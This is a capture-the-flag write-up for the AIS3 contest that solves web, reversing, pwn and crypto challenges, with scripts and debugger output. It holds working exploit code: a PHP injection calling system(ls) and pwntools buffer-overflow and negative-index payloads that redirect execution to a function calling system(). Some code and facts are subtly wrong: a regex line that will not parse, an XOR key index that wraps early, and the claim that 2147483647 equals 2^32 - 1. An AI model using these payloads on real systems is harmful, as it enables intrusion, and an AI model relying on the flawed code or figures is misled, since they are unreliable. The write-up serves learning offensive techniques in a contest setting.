# AIS3 writeup clo5de --- # Web ---- ## warmup Check header found `Paritial-Flag`, Wrote a simple python crawler keeping get this praitial-flag until get last char `}` ---- ```python= import urllib.request url = 'http://104.199.235.135:31331/index.php?p=' i = 0 while True: response = urllib.request.urlopen('%s%d' % (url, i)) letter = response.getheader('Partial-Flag') letter = ' ' if letter == '' else letter print(letter, end='') if letter == '}': break i += 1 ``` ---- ## hidden Find a hidden page `_hidden_flag_.php` other url from `robots.txt`. Test with a form POST, found `Flag` shows `AIS3{NOT_A_VALID_FLAG}` Wrote a simple python crawler keep sending POST to form with increase value until get right flag. ---- ```python import requests, re url = 'http://104.199.235.135:31332/_hidden_flag_.php' values = [ (0,'0',''), (1,'3241b876891b9ea67db897e940db6ea9e7e351447546b8da82bbf3693dfe9ebb','') ] print(values[1][0], values[1][1]) for each in range(1, 100000): r = requests.post(url, {'c': values[each][0], 's': values[each][1] }) c = int(re.compile(r'\"c\" value=\"[0-9]*\"').search(r.text) c = c.group(0)[11:-1]) s = str(re.compile(r'\"s\" value=\".*\"').search(r.text).group(0)[11:-1]) header = r.headers['Flag'] values.append(tuple((c, s, header))) print(c, s, header) if header != 'AIS3{NOT_A_VALID_FLAG}': break ``` ---- ## sushi A php check input value can not contain `'` and `"` at 0 or above position. and `die` function can not be avoid. Input with `". [php statement] ."` to get value to send from `die` to browser. Use `system(ls)` to get folder content. Get a file name is `flag_name_1s_t00_l0ng_QAQQQQQQ` and concat with url. get it. --- # Reverse ---- ## find `cat find` gets a ELF and dummy data merged together. `strings find >> [file name]` Wrote a simpy filter to filte `AIS3{` ---- ```python= string = [] with open('find.strings', 'r') as f: line = f.readline() while(line != ''): if line.startswith('AIS3{'): string.append(line) line = f.readline() print(string) ``` ---- ## secret Use `IDA-Pro` to crack program and export to `c pseudo code`. ```c= int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@10 __int64 v4; // rsi@10 int v5; // [sp+4h] [bp-1Ch]@7 int i; // [sp+8h] [bp-18h]@3 int v7; // [sp+Ch] [bp-14h]@7 FILE *stream; // [sp+10h] [bp-10h]@1 __int64 v9; // [sp+18h] [bp-8h]@1 v9 = *MK_FP(__FS__, 40LL); stream = fopen("/tmp/secret", "w"); init(); puts("========== WELCOME TO MY MIND =========="); puts("Try to find out secret in my mind!!!"); while ( cnt != 85 ) { __isoc99_scanf("%d", &v5); // 輸入 v7 = rand() % 2018; // 目標數字取2018餘數 if ( v7 != v5 ) // 輸入不等於餘數 { puts("Get out!!! You don't know me."); goto LABEL_10; } secret[cnt] ^= v5; puts("Nice try! Next one."); ++cnt; } for ( i = 0; i <= 84; ++i ) fputc((unsigned __int8)secret[i], stream); puts("You know the flag~~~"); LABEL_10: result = 0; v4 = *MK_FP(__FS__, 40LL) ^ v9; return result; } ``` ---- There is a `rand()` without `srand()`, so... Just rand many times and record it, and `mod(%)` with `2018`. ```python= from pwn import * rands = [ 1804289383,846930886,1681692777,1714636915,1957747793, 424238335,719885386,1649760492,596516649,1189641421, 1025202362,1350490027,783368690,1102520059,2044897763, 1967513926,1365180540,1540383426,304089172,1303455736, 35005211,521595368,294702567,1726956429,336465782, 861021530,278722862,233665123,2145174067,468703135, 1101513929,1801979802,1315634022,635723058,1369133069, 1125898167,1059961393,2089018456,628175011,1656478042, 1131176229,1653377373,859484421,1914544919,608413784, 756898537,1734575198,1973594324,149798315,2038664370, 1129566413,184803526,412776091,1424268980,1911759956, 749241873,137806862,42999170,982906996,135497281, 511702305,2084420925,1937477084,1827336327,572660336, 1159126505,805750846,1632621729,1100661313,1433925857, 1141616124,84353895,939819582,2001100545,1998898814, 1548233367,610515434,1585990364,1374344043,760313750, 1477171087,356426808,945117276,1889947178,1780695788 ] p = process('./secret') for each in rands: #if each == 0x6b7b4567: p.sendline(str(each % 2018)) p.interactive() ``` ---- Last thing is, go to `/tmp/secret` find my flag, just like `L12` and `L30` told me. ---- ## crackme `exe` filename extension, reverse with `OllyDbg` is so ugly. googled a writeup [](https://www.duckll.tw/2017/12/106.html) ```sh > file ais3.exe > ais3.exe: PE32 executable (GUI) ..Too long, PDF would cut out.. ... Intel 80386 Mono/.Net assembly, for MS Windows ``` Change to use `dnSpy` to crack it. ---- ```csharp=22 MainWindow this.secret = new int { 234,226,248,152,208,154,223,244,226,158, 244,238,234,216,210,244,223,228,244,232, 249,159,200,192,244,230,206,138,214 }; ``` ```csharp=104 for (int j = 0; j <= num4; j++) { if( Operators.ConditionalCompareObjectNotEqual( NewLateBinding.LateIndexGet( this.secret, new object[] { j }, null ), Convert.ToInt32(text[j]) ^ 171, false ) ) { flag = false; } } if ( Conversions.ToBoolean( Operators.AndObject( flag, Operators.CompareObjectEqual( text.Length, NewLateBinding.LateGet( this.secret, null, "Length", new object[0], null, null, null), false ) ) ) ){ Interaction.MsgBox("Good job!!!", MsgBoxStyle.OkOnly, null); return; } Interaction.MsgBox("Try hard!!!", MsgBoxStyle.OkOnly, null); ``` ---- Just crack with xor 171. ```python= secret = [ 234,226,248,152,208,154,223,244,226,158, 244,238,234,216,210,244,223,228,244,232, 249,159,200,192,244,230,206,138,214 ] for each in secret: print(chr(each ^ 171), end='') ``` --- # pwn ---- ## mail `disass` shows nothing. `objdump -d ./mail | less` found a function called `reply`. Use `gdb` check it. ---- ```sh= gdb-peda$ disass reply Dump of assembler code for function reply: 0x0000000000400796 <+0>: push rbp 0x0000000000400797 <+1>: mov rbp,rsp 0x000000000040079a <+4>: sub rsp,0x10 0x000000000040079e <+8>: mov edi,0x400928 0x00000000004007a3 <+13>: call 0x400610 <puts@plt> 0x00000000004007a8 <+18>: mov edi,0x40095b 0x00000000004007ad <+23>: mov eax,0x0 0x00000000004007b2 <+28>: call 0x400630 <printf@plt> 0x00000000004007b7 <+33>: mov esi,0x400970 0x00000000004007bc <+38>: mov edi,0x400972 0x00000000004007c1 <+43>: call 0x400680 <fopen@plt> 0x00000000004007c6 <+48>: mov QWORD PTR [rbp-0x8],rax ... End of assembler dump. gdb-peda$ ``` `fopen` so make a return address of `main` change to reply. ---- Enter `main` function and check it has two variable to cover `RET` of `main`. Make a break point at first variable input. ```sh= gdb-peda$ disass Dump of assembler code for function main: ... 0x0000000000400853 <+81>: call 0x400630 <printf@plt> 0x0000000000400858 <+86>: lea rax,[rbp-0x20] 0x000000000040085c <+90>: mov rdi,rax 0x000000000040085f <+93>: mov eax,0x0 0x0000000000400864 <+98>: call 0x400650 <gets@plt> ... gdb-preda$ b *0x0000000000400864 Breakpoint 2 at 0x400864 gdb-peda$ info b Num Type Disp Enb Address What 1 breakpoint keep y 0x0000000000400806 <main+4> breakpoint already hit 1 time 2 breakpoint keep y 0x0000000000400864 <main+98> gdb-peda$ ``` ---- Execute program and get `main` function's `RBP` and `RSP` address which is .. ```sh RBP: 0x7fffffffdcd0 --> 0x4008a0 (<__libc_csu_init>: push r15) RSP: 0x7fffffffd990 --> 0x7ffff7a1dff8 --> 0x6c5f755f72647800 ('') ``` ---- Hit `continue` to enter some dummy data in order to locat variable's address in `stack`. (I put a bouch of `'A'`.) Locate `0x....dbd0` in stack. ```sh= gdb-preda$ stack 120 ... 0792| 0x7fffffffdca8 --> 0x0 0800| 0x7fffffffdcb0 ('A' <repeats 32 times>) 0808| 0x7fffffffdcb8 ('A' <repeats 24 times>) 0816| 0x7fffffffdcc0 ('A' <repeats 16 times>) 0824| 0x7fffffffdcc8 ("AAAAAAAA") 0832| 0x7fffffffdcd0 --> 0x400800 (<reply+106>: leave) 0840| 0x7fffffffdcd8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax) 0848| 0x7fffffffdce0 --> 0x0 ... ``` ---- So the variable is at `0x....dcb0`, calculate offset with `RBP(0x....dcd0)` is 32 Bytes. And the `RTN` is front of `RBP` which is `$rbp - 0x8`, so we need to cover `32 + 8` bytes from first variable. Find the function `reply` its address is... ```sh= gdb-peda$ disass reply Dump of assembler code for function reply: 0x0000000000400796 <+0>: push rbp ... ``` ---- That every thing. cover dummy data with 40 bytes and input `reply` function's address `0x....400796` Wrote a small python... ```python= from pwn import * p = process('./mail') #p = remote('104.199.235.135', 2111) p.sendline('A' * (32 + 8) + '\x96\x07\x40\x00\x00\x00\x00\x00') print(p.recv()) p.interactive() ``` ---- ## darling Use array index to jump to variable `permission_code` and change to `6666`. and cover function `read()` it's return address to function `debug()`. ```sh= gdb-peda$ disass debug Dump of assembler code for function debug: 0x00000000004007d6 <+0>: push rbp 0x00000000004007d7 <+1>: mov rbp,rsp 0x00000000004007da <+4>: mov edi,0x400d88 0x00000000004007df <+9>: call 0x400660 <system@plt> 0x00000000004007e4 <+14>: nop 0x00000000004007e5 <+15>: pop rbp 0x00000000004007e6 <+16>: ret End of assembler dump. gdb-peda$ ``` ---- Use `gdb` make a break point at ` 0x0000000000400c8f <+1192>: call 0x400680 <read@plt>` `skip` nto read function and check it's return address to found stack address. ---- ```sh= gdb-peda$ stack 30 0000| 0x7fffffffdb68 --> 0x400c94 (<main+1197>: mov eax,DWORD PTR [rbp-0x14c]) 0008| 0x7fffffffdb70 --> 0x0 0016| 0x7fffffffdb78 --> 0x800000001 0024| 0x7fffffffdb80 --> 0x500000000 0032| 0x7fffffffdb88 --> 0x1a0a 0040| 0x7fffffffdb90 --> 0x2 0048| 0x7fffffffdb98 --> 0x10 0056| 0x7fffffffdba0 --> 0x10 0064| 0x7fffffffdba8 --> 0x2 0072| 0x7fffffffdbb0 --> 0xf 0080| 0x7fffffffdbb8 --> 0x38 ('8') 0088| 0x7fffffffdbc0 --> 0x186 0096| 0x7fffffffdbc8 --> 0x29a 0104| 0x7fffffffdbd0 --> 0x22c 0112| 0x7fffffffdbd8 --> 0xd6 0120| 0x7fffffffdbe0 ("Strelitzia") 0128| 0x7fffffffdbe8 --> 0x6169 ('ia') 0136| 0x7fffffffdbf0 ("Delphinium") 0144| 0x7fffffffdbf8 --> 0x6d75 ('um') 0152| 0x7fffffffdc00 ("Argentea") 0160| 0x7fffffffdc08 --> 0x0 0168| 0x7fffffffdc10 --> 0x617473696e6547 ('Genista') 0176| 0x7fffffffdc18 --> 0x0 0184| 0x7fffffffdc20 ("Chlorophytum") 0192| 0x7fffffffdc28 --> 0x6d757479 ('ytum') --More--(25/30) ``` ---- I select first element which is `Strelitzia` which stack address is `0x....dbe0` to offset to return address whichs `0x....db8`, and the offset range is 120 byte. The char array store `Strelitzia` is a 16 bytes long element. so each index I decrease would cause memory address move backward 16 byte. At least I have to backward 16 * 8(128 byte) to cover return address. But need more 8 dummy character to fit into extra backward. ---- ```python= from pwn import * #p = process('./darling') p = remote('104.199.235.135', 2112) p.sendlineafter('Index: ', '-1') p.sendlineafter('Code: ', '6666') p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '0') p.sendlineafter('Index: ', '0') p.sendlineafter('Code: ', '2') p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '0') p.sendlineafter('Index: ', '1') p.sendlineafter('Code: ', '16') p.sendlineafter('Are you sure ? (yes:1 / no:0) ', '1') p.sendlineafter('Which FRANXX do you wnat to use ? ', '-8') p.sendlineafter( 'New name for this FRANXX: ', 'A' * 8 + p64(0x00000000004007D6) ) p.interactive() ``` --- # misc ---- ## welcome Platform video?????????? ---- ## flags Read hint. Just a damn Morse code... --- # crypto ---- ## pow ```python= from pwn import * import hashlib from os import urandom p = remote('104.199.235.135',20000) print(p.recvuntil("== '")) prefix = p.recvuntil("'", drop=True) sha_start = '000000' print(prefix, sha_start) while True: x = urandom(8).encode('hex') if hashlib.sha256(prefix + x).hexdigest().startswith('000000'): print('found' + prefix + x) p.sendlineafter('x = ', prefix + x) print(p.recvline()) break ``` Just rand... ---- ## XOR Use `AIS{` to calculate first four keys. Use `}` to confirm key length is 10 bytes. ```python= import binascii with open('flag-encrypted', 'rb') as encFile: encData = encFile.read() byteData = binascii.hexlify(encData) hexData = [byteData[i:i + 2] for i in range(0, len(byteData), 2)] #print(len(hexData)) #print(hex(int(hexData[0], 16) ^ ord('A'))) #print(hex(int(hexData[1], 16) ^ ord('I'))) #print(hex(int(hexData[2], 16) ^ ord('S'))) #print(hex(int(hexData[3], 16) ^ ord('{'))) #print(hex(int(hexData[150], 16) ^ ord('}'))) #print(chr(0x16 ^ int(hexData[150], 16))) #print(hex(int(hexData[151], 16) ^ 0x16)) #print(hex(int(hexData[152], 16) ^ 0x09)) #print(hex(int(hexData[153], 16) ^ 0x7C)) #print(hex(int(hexData[154], 16) ^ 0xC7)) #print(hex(int(hexData[155], 16) ^ 0xDD)) #print(hex(int(hexData[156], 16) ^ 0x4F)) #print(hex(int(hexData[157], 16) ^ 0x2E)) #print(hex(int(hexData[158], 16) ^ 0x92)) #print(hex(int(hexData[159], 16) ^ 0xA7)) #print(hex(int(hexData[160], 16) ^ 0xFF)) key = [0x16, 0x09, 0x7C, 0xC7, 0xDD, 0x4F, 0x2E, 0x92, 0xA7, 0xFF] i = 0 for each in range(0, 152): print(chr(int(hexData[each], 16) ^ key[i]), end='') i = i + 1 if i != 9 else 0 ``` ---- YES, JUST CALCULATE WITH HAND IS COOOOOL!!!! --- End 2^3 2^2 2^1 2^0 10 = 1 0 1 0 8 4 2 1 8 0 2 0 8+0+2+0 = 10 2147483647 = 2^32 - 1 Hexidecimal A 10 B 11 C 12 D E F 15 1.6e10 科學記號 1.6 * 10^10
{"metaMigratedAt":"2023-06-14T16:45:34.703Z","metaMigratedFrom":"YAML","title":"AIR3 writeup","breaks":true,"description":"clo5de","contributors":"[{\"id\":\"9d700268-032e-4717-8357-792ae261c28e\",\"add\":311,\"del\":28}]"}
    1154 views